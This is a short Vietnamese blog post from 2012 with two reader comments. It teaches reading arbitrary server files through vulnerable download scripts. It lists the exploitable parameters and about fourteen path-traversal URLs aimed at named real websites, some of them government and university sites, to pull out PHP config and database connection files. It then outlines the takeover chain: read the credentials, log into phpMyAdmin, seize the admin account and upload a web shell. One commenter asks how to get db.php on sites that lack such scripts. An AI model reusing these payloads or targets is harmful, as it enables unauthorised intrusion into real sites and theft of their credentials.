Thứ Ba, 24 tháng 7, 2012

Đọc Mọi File Không Cần Shell

key này do lỗi nên 1 số site không đễ ý
key:
download.php?file=
down.php?filename=
down.php?file_name=
download.php?src=
download.php?f=
...
down tưng file 1 về dọc config lấy thống tiin user+pass localhost vào phpMyAdmin chiếm admin up shell

1 Số VD

Mã:
http://www.vpv.vn/download.php?file=
http://www.mcc.edu.vn/download.php?file=../../home.php
http://nobleromancoins.com/down.php?file=
http://www.lelon.com/down.php?f=index.php&n=index.php  
http://www.homeopathyphysician.com/down.php?file=../index.php
http://www.meta-biomed.com/english/e-notice/down.php?Code=e_data&File=../index.php&FileName=index.php
http://www.vienthong360.com/component/download/down.php?filename=../index.php
http://www.jnszjy.net/down.php?file=../index.php&sort=zzgg&realfilename=index.php
http://dhanvantaricollege.org/down.php?file=../index.php 
http://sciencedvine.org/down.php?filename=../index.php
http://www.chinare.gov.cn/table/down.php?file=
http://www.ykjtj.gov.cn/admin/xxgk/down.php?file_name=../../index.php
http://www.elija.org/download.php?src=../mysql_connect.php
http://www.mnda.gov.ng/download.php?f=mndaCmsPanel/classes/DatabaseManager..php
__________________

2 nhận xét:

  1. thanks
    - Nhanh gọn và nhẹ nhàng :D

    Trả lờiXóa
  2. vay neu wap do không có files download.php hoặc down.php thì phải làm sao để tải được files db.php

    Trả lờiXóa